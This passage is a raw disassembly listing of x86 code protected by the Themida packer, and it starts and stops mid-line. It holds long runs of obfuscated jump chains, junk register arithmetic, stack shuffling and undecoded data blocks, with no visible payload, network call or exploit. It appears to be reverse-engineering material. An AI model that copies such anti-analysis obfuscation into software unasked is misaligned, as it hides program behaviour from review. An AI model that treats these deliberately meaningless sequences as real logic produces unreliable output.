23A90D83h mov edx, [esp] push ebp jmp loc_54B2BE ; --------------------------------------------------------------------------- dd 0B9240C89h, 6BD524F3h, 6666E181h, 0E9C153C5h, 0F1814908h dd 32C10D4Eh, 448DE9h, 241C8900h, 0C03DB7BBh, 23E38149h dd 0C12FC92Fh, 0AEE906EBh db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5516CF: ; CODE XREF: Themida_:0054D0CAj push eax push 61CCh mov [esp], ecx pop eax jmp loc_554F9C ; --------------------------------------------------------------------------- loc_5516DE: ; CODE XREF: Themida_:00553EF8j sub ch, 23h xor dh, ch pop ecx add bl, dh pop edx movzx eax, al pop dword ptr [edi+eax*4] jmp loc_548929 ; --------------------------------------------------------------------------- loc_5516F2: ; CODE XREF: Themida_:0054F76Bj mov esi, 51325041h jmp loc_552A01 ; --------------------------------------------------------------------------- dd 2E1DBEBFh, 0E9E7D12Dh, 3362h, 5BE9AFB2h db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55170F: ; CODE XREF: Themida_:0055422Aj push ecx sub esp, 4 mov [esp], edi mov edi, 45543FCh mov ecx, edi pop edi and ecx, 151A2AEEh neg ecx jle loc_54B61D dec ecx jge loc_54DA3F push ebp sub esp, 4 sub esp, 4 mov [esp], esi push 5CE83097h mov esi, [esp] add esp, 4 xor eax, esi pop esi shl eax, 8 and eax, 73124FECh push esi jmp loc_553DF6 ; --------------------------------------------------------------------------- loc_551762: ; CODE XREF: Themida_:00552002j mov esp, [esp] mov ax, [esp] push 7587h jmp loc_5537D4 ; --------------------------------------------------------------------------- loc_551773: ; CODE XREF: Themida_:005495DEj shr esi, 2 js loc_550166 jmp loc_54C21D ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 83240C8Bh, 0F16804C4h, 8900005Eh, 8B542434h, 4E92434h dd 89FFFFA7h, 0DAF758C2h, 29F6C281h, 0C2813297h, 0D5752D7Ch dd 8A1BD55h, 0BA52727Eh, 1A1A62A4h, 0F75AD509h, 0F06FE9DDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517C2: ; CODE XREF: Themida_:0054CB7Fj add esp, 4 pop dword ptr [esp] mov esp, [esp] jmp loc_54F555 ; --------------------------------------------------------------------------- loc_5517D0: ; CODE XREF: Themida_:0055224Fj jmp loc_5491CF ; --------------------------------------------------------------------------- loc_5517D5: ; CODE XREF: Themida_:0054E1D8j sub bl, 0FAh jmp loc_549F37 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 2434FF04h, 83241C8Bh, 0C48304C4h, 24048F04h, 0EFE95Ch dd 15F0000h, 24BE56D8h, 295E5A64h, 24348BF0h, 4C481h, 0E9510000h dd 0FFFF755Fh, 75B0E9ADh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551816: ; CODE XREF: Themida_:loc_54CC77j mov esi, 281705F2h sub eax, esi pop esi push eax mov eax, esp add eax, 4 jmp loc_54D7E6 ; --------------------------------------------------------------------------- db 81h dd 0B80C02C6h, 0DBC68100h, 1133509h, 368EE9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55183E: ; CODE XREF: Themida_:0054F73Cj mov ebx, 37C139ADh sub edx, ebx jmp loc_549876 ; --------------------------------------------------------------------------- dw 0FCBBh dd 29788517h, 0F3E95BD9h db 0C6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551857: ; CODE XREF: Themida_:0054D42Dj mov edi, 73257CE5h inc edi add edi, 8CDA831Eh add ebp, edi mov edi, [esp] add esp, 4 push esi mov esi, 0F980904h jmp loc_550521 ; --------------------------------------------------------------------------- loc_551876: ; CODE XREF: Themida_:0054A0DEj pop esp push 129Fh mov [esp], edx mov edx, 65353601h push esi mov esi, 6DF949ABh or edx, esi pop esi and edx, 4DE22416h jmp loc_554142 ; --------------------------------------------------------------------------- dd 6624248Bh, 2404B30Fh, 7083E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5518A6: ; CODE XREF: Themida_:00553418j pop esi xor ebx, eax push ebp jmp loc_549213 ; --------------------------------------------------------------------------- loc_5518AF: ; CODE XREF: Themida_:005493BFj and ecx, esi pop esi xor ecx, 0EE8780Bh sub ebx, ecx pop ecx push 3E0Ch mov [esp], eax push ebp push edi jmp loc_5553A4 ; --------------------------------------------------------------------------- loc_5518CA: ; CODE XREF: Themida_:005559F6j add edx, 688A1EA2h pop edi add edx, esi add edx, 9C4477Eh jmp loc_54BBA3 ; --------------------------------------------------------------------------- loc_5518DE: ; CODE XREF: Themida_:00550A2Dj popf retn ; --------------------------------------------------------------------------- dd 0FF7044E9h, 48B66FFh, 4EC8124h, 89000000h, 0E4E9240Ch dd 81000027h, 8C4A9ACEh, 9AC5E953h, 0E95DFFFFh, 0FFFFEB5Ah ; --------------------------------------------------------------------------- loc_551908: ; CODE XREF: Themida_:0055452Fj sub al, ch pop ecx add al, 4Ch sub al, bl push bx jmp loc_54C6CE ; --------------------------------------------------------------------------- loc_551916: ; CODE XREF: Themida_:00555027j mov edx, 2 push edi mov edi, 1174058Dh jmp loc_554E25 ; --------------------------------------------------------------------------- loc_551926: ; CODE XREF: Themida_:00549C9Bj xor ebp, eax pop eax jmp loc_54BC16 ; --------------------------------------------------------------------------- loc_55192E: ; CODE XREF: Themida_:005503BCj ; Themida_:00551974j mov ebp, 44CF0D2Ah add ebx, 625F40FEh sub ebx, ebp sub ebx, 625F40FEh jmp loc_54D83E ; --------------------------------------------------------------------------- loc_551946: ; CODE XREF: Themida_:0055154Dj mov edi, 4 sub ebp, 4D4419ABh add ebp, edi jmp loc_551A10 ; --------------------------------------------------------------------------- loc_551958: ; CODE XREF: Themida_:005521ECj sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax push esp pop eax add eax, 4 jmp loc_54D4D6 ; --------------------------------------------------------------------------- loc_551971: ; CODE XREF: Themida_:loc_555C3Dj push eax mov ah, 20h jmp loc_55192E ; --------------------------------------------------------------------------- loc_551979: ; CODE XREF: Themida_:005558DFj jmp loc_548929 ; --------------------------------------------------------------------------- loc_55197E: ; CODE XREF: Themida_:0054DCC5j shr word ptr [esp], cl pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_551988: ; CODE XREF: Themida_:0054953Fj pop edx xor esi, [esp] jmp loc_550CD6 ; --------------------------------------------------------------------------- loc_551991: ; CODE XREF: Themida_:0054AFB3j add al, bh pop ebx jmp loc_55422F ; --------------------------------------------------------------------------- loc_551999: ; CODE XREF: Themida_:0055539Fj jnz loc_5503EC jmp loc_553F6D ; --------------------------------------------------------------------------- dd 0EFE9DE88h, 81FFFFE7h, 4C6h, 4EC8100h, 89000000h, 1FBF243Ch dd 0E91B693Bh, 0FFFF7AD4h, 53240C8Bh, 0FF7725E9h, 525858FFh dd 345FECBAh, 0C2BF5744h, 31277D56h, 0E2815FFAh, 2BD037E6h dd 122EA81h, 0D0012340h, 2055Ah, 0FF500000h, 58042474h dd 5C24048Fh, 2404D366h, 85F4E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A06: ; CODE XREF: Themida_:00548DE7j push 0A51h jmp loc_555B86 ; --------------------------------------------------------------------------- loc_551A10: ; CODE XREF: Themida_:00551953j add ebp, 4D4419ABh pop edi jmp loc_548DE4 ; --------------------------------------------------------------------------- loc_551A1C: ; CODE XREF: Themida_:0054EB08j pop dword ptr [esp] add dword ptr [esp], 4 mov ebx, [esp] jmp loc_553206 ; --------------------------------------------------------------------------- dw 248Bh dd 4EC8324h, 0FF243C89h, 148B2434h, 4C48124h, 50000000h dd 0EC815854h, 4, 0E9240C89h, 0FFFFB184h, 0AAA4E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551A5A: ; CODE XREF: Themida_:0054E034j add edx, 4 push ebp mov ebp, 7E5D7F85h or ebp, 5E421F3Dh xchg ebx, ebp not ebx jmp loc_550BC3 ; --------------------------------------------------------------------------- db 2 dup(4Bh), 0F7h dd 0AE810FDBh, 0E9FFFFE0h, 4516h, 88E68956h db 0FCh ; --------------------------------------------------------------------------- loc_551A89: ; CODE XREF: Themida_:0054B600j shr ecx, 7 push dword ptr [edi+1Ch] push ebp mov ebp, esp push 34Dh mov [esp], ebx mov ebx, 4 jmp loc_550327 ; --------------------------------------------------------------------------- dd 0DF69C181h, 0CF298251h, 0F088E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551AB2: ; CODE XREF: Themida_:00550E5Aj push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp rol dword ptr [esp], cl pushf jmp loc_54AD0E ; --------------------------------------------------------------------------- loc_551AC5: ; CODE XREF: Themida_:0054E32Bj mov [esp], ebx push 635Ch mov [esp], ecx mov ecx, 1 mov ebx, ecx pop ecx and eax, ebx push dword ptr [esp] push dword ptr [esp] pop ebx jmp loc_552AF0 ; --------------------------------------------------------------------------- loc_551AE6: ; CODE XREF: Themida_:00555121j mov ecx, 0BF3224Dh push ebp mov ebp, 0CF1AA407h sub ecx, ebp jmp loc_552D06 ; --------------------------------------------------------------------------- loc_551AF8: ; CODE XREF: Themida_:0054A575j ; Themida_:0054F935j mov ebx, 4 add ebp, ebx pop ebx xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 7714h mov [esp], ebx jmp loc_55455E ; --------------------------------------------------------------------------- db 81h, 0C6h, 7 dd 814F144Fh, 0F80254C6h, 0B366E91Ah, 34FFFFFFh, 2434FF24h dd 0FF757CE9h db 0FFh ; --------------------------------------------------------------------------- loc_551B35: ; CODE XREF: Themida_:0054BDD9j mov cl, 62h shr cl, 4 dec cl push 1EDDh jmp loc_54A34E ; --------------------------------------------------------------------------- loc_551B46: ; CODE XREF: Themida_:0054E420j dec eax xor eax, 2FDF1725h or ebp, eax jmp loc_549FE3 ; --------------------------------------------------------------------------- loc_551B53: ; CODE XREF: Themida_:0054B9FBj xchg edi, [esp] pop esp push eax push edx mov dl, 0DEh mov al, dl pop edx jmp loc_54C4C4 ; --------------------------------------------------------------------------- loc_551B63: ; CODE XREF: Themida_:005556AFj jmp loc_54C7D5 ; --------------------------------------------------------------------------- loc_551B68: ; CODE XREF: Themida_:0054B5EBj mov ebp, esp jmp loc_549154 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 8704C483h, 1DE92404h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551B83: ; CODE XREF: Themida_:00551E24j sub ebx, 6A6F7275h add ebx, eax add ebx, 6A6F7275h pop eax jmp loc_549674 ; --------------------------------------------------------------------------- loc_551B97: ; CODE XREF: Themida_:loc_54AA77j shr ebp, 3 jmp loc_5509C7 ; --------------------------------------------------------------------------- loc_551B9F: ; CODE XREF: Themida_:005534B6j mov esi, esp add esi, 4 jmp loc_552CA0 ; --------------------------------------------------------------------------- dd 4B951h, 0C2810000h, 74C4632Eh, 0EA81CA01h, 74C4632Eh dd 0FFC3DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_551BC5: ; CODE XREF: Themida_:0054C34Fj mov ebp, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_54E325 ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8F04C483h, 248B2404h, 0C8B6624h, 5F545724h, 8904EC83h dd 0BB68242Ch, 89000019h, 8D682404h, 585C4040h, 4040892Dh dd 58C5895Ch, 6328C781h, 0EF01309Dh, 6328EF81h, 2C8B309Dh dd 4C48324h, 2661E9h db 0 ; --------------------------------------------------------------------------- loc_551C21: ; CODE XREF: Themida_:00555ECFj xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] not ebx xchg ebx, [esp] jmp loc_548929 ; --------------------------------------------------------------------------- loc_551C44: ; CODE XREF: Themida_:00550658j jns loc_548AC7 dec esi jp loc_554604 dec esi push ebp mov al, 0D0h push eax loc_551C56: ; CODE XREF: Themida_:00552887j and edx, 29826C13h jno loc_54D413 jmp loc_553A84 ; --------------------------------------------------------------------------- db 8Bh dd 0E1802434h db 37h ; --------------------------------------------------------------------------- loc_551C6D: ; CODE XREF: Themida_:0054EFDFj pop edx jmp loc_55550E ; --------------------------------------------------------------------------- loc_551C73: ; CODE XREF: Themida_:00555BA8j sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_5512C4 ; --------------------------------------------------------------------------- loc_551C80: ; CODE XREF: Themida_:005502AEj mov ebp, esp push 4AEFh jmp loc_55338C ; --------------------------------------------------------------------------- dd 5C241C87h, 0FF9EACE9h db 0FFh ; --------------------------------------------------------------------------- loc_551C95: ; CODE XREF: Themida_:0054BE71j mov ebx, 4065ADC3h xor edx, ebx jmp loc_54E14A ; --------------------------------------------------------------------------- db 0C1h, 0E7h, 4 dd 23E9DFF7h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_551CAB: ; CODE XREF: Themida_:0054FDC1j mov [esp], eax push 3DBh jmp loc_54C561 ; --------------------------------------------------------------------------- dd 9CD7E949h, 0C581FFFFh, 6B055C1Ah, 0E9E8015Fh, 16F7h ; --------------------------------------------------------------------------- loc_551CCC: ; CODE XREF: Themida_:005538F4j push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp push eax jmp loc_553CB8 ; --------------------------------------------------------------------------- loc_551CEF: ; CODE XREF: Themida_:005540FEj push eax mov eax, 789E1785h shr eax, 1 neg eax or eax, 9F51121h jmp loc_554444 ; --------------------------------------------------------------------------- db 8Bh dd 62E9240Ch, 5100002Fh, 253CE9h, 2EAC100h, 0BDE2C281h dd 0D601F5F7h, 8124148Bh, 4C4h, 0EBBD5500h, 8158EE16h dd 0B97225CDh, 8F92E929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551D36: ; CODE XREF: Themida_:00554591j not ebp inc ebp jo loc_54A47D xor ebp, 0F717B096h jmp loc_54C343 ; --------------------------------------------------------------------------- dw 0F745h dd 42BE56DDh, 0E9057465h, 0FFFFA83Dh, 5C24048Fh, 0E99CC138h dd 0FFFF6BC5h ; --------------------------------------------------------------------------- loc_551D64: ; CODE XREF: Themida_:0055405Fj xor ecx, 56C3B1A8h mov ebx, ecx pop ecx push ebp mov ebp, 891113Ah push eax mov eax, 4AF709DAh or ebp, eax mov eax, [esp] jmp loc_553CDA ; --------------------------------------------------------------------------- loc_551D83: ; CODE XREF: Themida_:00549FBEj ; Themida_:005556B5j and ebp, 78106289h jp loc_549632 jmp loc_55435C ; --------------------------------------------------------------------------- loc_551D94: ; CODE XREF: Themida_:00553777j inc dword ptr [esp] pop edi inc edi push ecx mov ecx, 3CF95676h sub edi, ecx pop ecx inc edi xor edi, 72A6F8E7h sub eax, 68CC11B5h sub eax, edi add eax, 68CC11B5h jmp loc_553C4B ; --------------------------------------------------------------------------- dw 8B66h dd 0E956240Ch, 0FFFFD94Ah, 0E904C483h, 0FFFF7FAAh ; --------------------------------------------------------------------------- loc_551DCC: ; CODE XREF: Themida_:0054B924j mov edx, [esp] add esp, 4 jmp loc_553490 ; --------------------------------------------------------------------------- dw 0D0F7h dd 0F035D0F7h, 0E9757E20h, 0FFFF8288h, 0BA52555Bh, 3F3A7F14h dd 0C15AD589h, 0C58103EDh, 55BD0DD6h, 3B37C581h, 0D5F735FDh dd 3389CD81h, 0BA52250Ch, 5A013233h, 602AF281h, 0F28170B9h dd 47E6258Eh, 0FFA8E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_551E21: ; CODE XREF: Themida_:00553B62j sub eax, esi pop esi jmp loc_551B83 ; --------------------------------------------------------------------------- loc_551E29: ; CODE XREF: Themida_:0054AA15j mov esi, 790E6BA1h jmp loc_54B6BB ; --------------------------------------------------------------------------- loc_551E33: ; CODE XREF: Themida_:0054C7DBj add ebp, 6CF24081h jmp loc_54E261 ; --------------------------------------------------------------------------- dw 48Bh dd 4EC8324h, 0E9243489h, 0FFFFD676h ; --------------------------------------------------------------------------- loc_551E4C: ; CODE XREF: Themida_:0054E781j push ecx mov ecx, 4 add esi, ecx pop ecx xchg esi, [esp] jmp loc_54CBF0 ; --------------------------------------------------------------------------- db 0ACh, 66h, 52h dd 0FEE980B6h db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_551E67: ; CODE XREF: Themida_:0054E608j jmp loc_548929 ; --------------------------------------------------------------------------- dd 3D93CF81h, 8D0F3853h, 0FFFF83C2h, 0FFD9F781h, 0F80139D3h dd 57243C8Bh db 89h, 0E7h, 53h ; --------------------------------------------------------------------------- loc_551E87: ; CODE XREF: Themida_:0054EF07j sub ebp, 4 jmp loc_54A13C ; --------------------------------------------------------------------------- dw 0C483h dd 4C18104h, 55000000h, 947C9BDh, 3CF5812Dh, 52433F44h dd 3F53A9BAh, 5AD50977h, 4EC81h, 1C890000h, 0AC05BB24h dd 0DD0180C0h, 5DE9015Bh, 0FFD308E9h db 0FFh ; --------------------------------------------------------------------------- loc_551EC9: ; CODE XREF: Themida_:loc_54C9BFj ; Themida_:00551231j sub esp, 4 mov [esp], ecx jmp loc_54A99B ; --------------------------------------------------------------------------- dd 375EB850h, 0D8F7645Eh, 33668D0Fh, 97350000h, 4843B639h dd 13738D0Fh, 81520000h, 4ECh, 240C8900h, 161E81B9h, 59CA8964h dd 0D4E9D029h, 80FFFF7Bh, 8D0F59F4h, 0FFFFA02Bh, 8005ECC0h dd 0E5883EECh, 8124048Bh, 4C4h, 50AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_551F26: ; CODE XREF: Themida_:00550547j sub esi, edx pop edx jmp loc_555925 ; --------------------------------------------------------------------------- loc_551F2E: ; CODE XREF: Themida_:0054DE7Aj or ebp, 0D357092h xor ebp, 13894737h sub eax, ebp push dword ptr [esp] pop ebp add esp, 4 sub edx, 22021158h add edx, 3D15142Bh add edx, eax sub edx, 3D15142Bh push ecx jmp loc_5505EB ; --------------------------------------------------------------------------- loc_551F60: ; CODE XREF: Themida_:loc_54A42Dj sub esi, 0CC50287h jnp loc_5523F7 push edx mov edx, 112A27DFh sub esi, edx pop edx mov ecx, esi pop esi add [esp+4], ecx pop ecx pop ecx push esi jmp loc_55117A ; --------------------------------------------------------------------------- loc_551F84: ; CODE XREF: Themida_:loc_55593Fj sub ebx, 1 xor ebx, 1A8211Ch add ebp, ebx mov ebx, [esp] push esi push esp pop esi add esi, 4 jmp loc_549471 ; --------------------------------------------------------------------------- dd 0FF6984E9h db 0FFh ; --------------------------------------------------------------------------- loc_551FA5: ; CODE XREF: Themida_:005520FCj mov ah, dl push ebx mov bh, ah mov ch, bh mov ebx, [esp] add esp, 4 jmp loc_553515 ; --------------------------------------------------------------------------- loc_551FBA: ; CODE XREF: Themida_:0054C590j mov [esp], edi mov edi, 41DF56BBh shr edi, 2 dec edi add edi, 99D53EDh and edi, 443718C2h sub edi, 150881h add edx, edi pop edi dec edx sub edx, 46E86294h push edi mov edi, 9A865CCEh add edx, edi pop edi add eax, edx jmp loc_54F2EC ; --------------------------------------------------------------------------- loc_551FF2: ; CODE XREF: Themida_:005499C2j push 4748h mov [esp], esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_551762 ; --------------------------------------------------------------------------- loc_552007: ; CODE XREF: Themida_:0054DE88j xor esi, ebx jmp loc_549EBD ; --------------------------------------------------------------------------- loc_55200E: ; CODE XREF: Themida_:0054B19Dj dec esi add esi, 3196B900h sub ebp, esi jmp loc_555411 ; --------------------------------------------------------------------------- loc_55201C: ; CODE XREF: Themida_:0054CE21j push dword ptr [esp] pop eax add esp, 4 shr eax, 2 sub eax, 0EE187Ch push eax mov ebp, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_54D926 ; --------------------------------------------------------------------------- dd 4C481h, 4F680000h, 89000055h, 0EAB82404h, 0C106CE62h dd 0D0F708E8h, 6CE6705h, 0E9C20100h, 0FFFF796Eh ; --------------------------------------------------------------------------- loc_552064: ; CODE XREF: Themida_:00555009j mov [esp], eax push eax mov eax, 1DFD567Ch sub [esp+4], eax mov eax, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_55087B ; --------------------------------------------------------------------------- loc_55208B: ; CODE XREF: Themida_:0054F157j sub ebp, 0BD165EB6h push ebp mov edx, [esp] add esp, 4 mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp loc_5520AC: ; CODE XREF: Themida_:00548C7Aj ; Themida_:0054B17Dj push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_551236 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C870000h, 24248B24h, 8B24048Fh, 88E92424h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5520DF: ; CODE XREF: Themida_:00553DF1j mov edx, [esp] push esi mov esi, esp jmp loc_54A199 ; --------------------------------------------------------------------------- loc_5520EA: ; CODE XREF: Themida_:00554E9Bj mov esp, [esp] sub esp, 4 mov [esp], ebx push 0F5h mov [esp], ecx push eax jmp loc_551FA5 ; --------------------------------------------------------------------------- loc_552101: ; CODE XREF: Themida_:0054A962j ; Themida_:005541CFj push 3A95h mov [esp], edx push eax mov eax, 7A496875h add eax, 0AE96BEBh jmp loc_5491F0 ; --------------------------------------------------------------------------- loc_552119: ; CODE XREF: Themida_:0054CA64j mov edx, [esp] push eax jmp loc_54D049 ; --------------------------------------------------------------------------- dw 2BBh dd 1000000h, 0FF575BDFh, 5F042474h, 8B24048Fh, 9662424h dd 0E99C2404h, 0FFFF67E9h ; --------------------------------------------------------------------------- loc_552140: ; CODE XREF: Themida_:005551CCj pop eax sub esp, 4 mov [esp], ebx mov ebx, 543D0E54h push ecx mov ecx, 39510FA2h add ecx, 32C7083Ah xor ebx, ecx jmp loc_54C658 ; --------------------------------------------------------------------------- loc_55215F: ; CODE XREF: Themida_:0054D358j jmp loc_550652 ; --------------------------------------------------------------------------- loc_552164: ; CODE XREF: Themida_:0054F0A7j push 25B3h mov [esp], esi push 605Ch mov [esp], ebx jmp loc_552A7F ; --------------------------------------------------------------------------- loc_552179: ; CODE XREF: Themida_:0054A947j jmp loc_555B09 ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 0FFCB48E9h db 0FFh ; --------------------------------------------------------------------------- loc_552189: ; CODE XREF: Themida_:0054FFCCj and ebp, 7E070E98h ja loc_54B1CC push ebx mov ebx, 5D4B2ED1h jmp loc_552D81 ; --------------------------------------------------------------------------- dd 82E9C88Ah, 57FFFF67h, 0C781E789h, 4, 4603BB53h, 0F3811A06h dd 1A064607h, 1C8BDF01h, 4C48324h, 5C243C87h, 0FFFB8BE9h dd 243C89FFh, 668E789h, 0E900001Eh, 0FFFFDA12h ; --------------------------------------------------------------------------- loc_5521DC: ; CODE XREF: Themida_:loc_550840j not ebp xor ebp, 98E1CEF6h jmp loc_54F099 ; --------------------------------------------------------------------------- loc_5521E9: ; CODE XREF: Themida_:00548E80j add esp, 4 jmp loc_551958 ; --------------------------------------------------------------------------- loc_5521F1: ; CODE XREF: Themida_:0054E07Cj add esi, 0F4CE234Ah mov edx, esi jmp loc_5515BB ; --------------------------------------------------------------------------- loc_5521FE: ; CODE XREF: Themida_:0054A377j mov edx, 65FDEFB5h xor esi, edx pop edx sub edx, esi pop esi sub eax, 59A7453h jmp loc_554BAF ; --------------------------------------------------------------------------- db 89h dd 9DE92404h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55221B: ; CODE XREF: Themida_:0054DB6Fj push esi jmp loc_552CC2 ; --------------------------------------------------------------------------- loc_552221: ; CODE XREF: Themida_:00553D39j ; Themida_:00554021j push 22B9h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_54F839 ; --------------------------------------------------------------------------- loc_552236: ; CODE XREF: Themida_:00555AEBj not edx add edx, 8041CDB2h add ebp, edx pop edx xchg ebp, [esp] pop esp push dword ptr [edi+1Ch] push ebp mov ebp, 1AC73A22h dec ebp jle loc_5517D0 jmp loc_54B79D ; --------------------------------------------------------------------------- dw 2D68h dd 8B0BC016h, 0EC812404h, 4, 89241C89h, 0F2E952E3h db 8Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552273: ; CODE XREF: Themida_:005550C9j xor ecx, 29DC2C3Ah sub ebx, ecx jmp loc_54B0EE ; --------------------------------------------------------------------------- dd offset dword_52A048+320h dd 9D58E900h, 4ACFFFFh, 0E9052CE2h, 28C8h, 0E9241C31h dd 0FFFFBE92h, 81E68956h, 4C6h, 0E9555000h, 0FFFF888Bh ; --------------------------------------------------------------------------- loc_5522AC: ; CODE XREF: Themida_:00555EE5j inc dh shr dh, 3 push ebx jmp loc_548ECF ; --------------------------------------------------------------------------- loc_5522B7: ; CODE XREF: Themida_:0054C9ABj pop esp shr ecx, 2 push 57E7h mov [esp], ebx jmp loc_550C3C ; --------------------------------------------------------------------------- dd 0C8B5451h, 4C48124h, 81000000h, 4C1h, 4C18300h, 5C240C87h dd 0FFA64AE9h, 0B60F66FFh, 0D5686602h, 489666Ah, 6633E924h dd 295BFFFFh, 5A042454h, 6242C81h, 103473Ah, 4812404h dd 473A0624h, 4D236803h, 1C890000h, 5D5EBB24h, 6C8126DAh dd 67BC0424h, 5C012D21h, 44810424h, 67BC0424h, 1C8B2D21h dd 4C48124h, 0E9000000h, 0FFFFCEFEh ; --------------------------------------------------------------------------- loc_55233C: ; CODE XREF: Themida_:0054D8B3j shr eax, 7 add eax, 5AE422C5h jmp loc_549EF7 ; --------------------------------------------------------------------------- loc_552349: ; CODE XREF: Themida_:0054F28Aj add ebp, 4 xchg ebp, [esp] jmp loc_5524C2 ; --------------------------------------------------------------------------- dd 835AD000h, 896602ECh, 0B551241Ch, 0A9E95018h, 81FFFF7Eh dd 4ECh, 242C8900h, 4F69BA52h, 0EC837DD2h, 0F33BE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55237E: ; CODE XREF: Themida_:0054A6A3j ; Themida_:00551453j push ecx jmp loc_548CDB ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx push esi mov esi, 0E5C2D5Eh mov edx, 3D6557AAh xor edx, esi jmp loc_553375 ; --------------------------------------------------------------------------- loc_55239A: ; CODE XREF: Themida_:0054CFCFj add bh, 0FFh xor bh, 5Fh jmp loc_555391 ; --------------------------------------------------------------------------- loc_5523A5: ; CODE XREF: Themida_:0054C1A9j mov dl, 0F6h xor ch, dl pop dx sub al, 66h sub al, ch jmp loc_555A7E ; --------------------------------------------------------------------------- loc_5523B4: ; CODE XREF: Themida_:0054F9DEj pop esi add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] jmp loc_548929 ; --------------------------------------------------------------------------- loc_5523C9: ; CODE XREF: Themida_:00554D1Cj sub esi, 0EC0B9CD2h add ebp, esi pop esi jmp loc_552580 ; --------------------------------------------------------------------------- db 0B7h dd 5BF8884Ch, 0E8C0022Ch, 2C842C06h, 23AEE95Ch, 0D0310000h dd 0C789575Ah, 78E9F989h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5523F7: ; CODE XREF: Themida_:00551F66j push edx mov edx, 112A27DFh sub esi, edx jmp loc_550C44 ; --------------------------------------------------------------------------- loc_552404: ; CODE XREF: Themida_:00552BB3j push 0FFFFFFFFh jmp loc_555CFF ; --------------------------------------------------------------------------- dw 16E9h dd 0B8FFFF65h, 0D7075EDh, 0B8377C25h, 22810F64h, 0E9FFFF75h dd 0FFFF7D14h, 0B951E789h, 4, 8904EC83h, 7EB22414h, 34FFD520h dd 6FFDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_552442: ; CODE XREF: Themida_:0054BCE1j add esp, 4 jmp loc_548B29 ; --------------------------------------------------------------------------- loc_55244A: ; CODE XREF: Themida_:00548A5Aj ; Themida_:005495E7j push cx mov cl, 93h jmp loc_553DEB ; --------------------------------------------------------------------------- loc_552453: ; CODE XREF: Themida_:0054CF18j add ecx, 26CE5CD4h jg loc_54B8C4 push ebp jmp loc_5528E3 ; --------------------------------------------------------------------------- loc_552465: ; CODE XREF: Themida_:005533DAj add esp, 4 jmp loc_555C7D ; --------------------------------------------------------------------------- loc_55246D: ; CODE XREF: Themida_:0054AF78j push ecx mov cl, 0B2h dec cl add cl, 0EBh push eax jmp loc_54CCB3 ; --------------------------------------------------------------------------- loc_55247B: ; CODE XREF: Themida_:00553BF1j mov [esp], ecx mov ecx, 1FF472AEh sub esi, ecx jmp loc_54E018 ; --------------------------------------------------------------------------- loc_55248A: ; CODE XREF: Themida_:0054A3FCj mov [esp], ebp push 4EB43BE4h mov ebp, [esp] add esp, 4 sub [edi+20h], ebp mov ebp, [esp] jmp loc_54E76F ; --------------------------------------------------------------------------- loc_5524A6: ; CODE XREF: Themida_:0054DEEAj push edx jmp loc_54BF01 ; --------------------------------------------------------------------------- loc_5524AC: ; CODE XREF: Themida_:005546F2j add esi, edi add esi, 78B43484h mov edi, [esp] add esp, 4 jmp loc_54D7F9 ; --------------------------------------------------------------------------- loc_5524C2: ; CODE XREF: Themida_:0055234Fj mov esp, [esp] push ebp sub esp, 4 mov [esp], eax jmp loc_54CE1C ; --------------------------------------------------------------------------- db 0E9h, 53h, 64h dd 8B66FFFFh, 54532404h, 81241C8Bh, 4C4h, 0C9B95100h, 562CD256h dd 0BB58B6BEh, 0E9DEF708h, 0FFFFC8BEh ; --------------------------------------------------------------------------- loc_5524F8: ; CODE XREF: Themida_:loc_55381Aj add eax, 0C904D6A3h sub dword ptr [esp+4], 29FB6008h add [esp+4], eax add dword ptr [esp+4], 29FB6008h pop eax jmp loc_54F8BA ; --------------------------------------------------------------------------- loc_552517: ; CODE XREF: 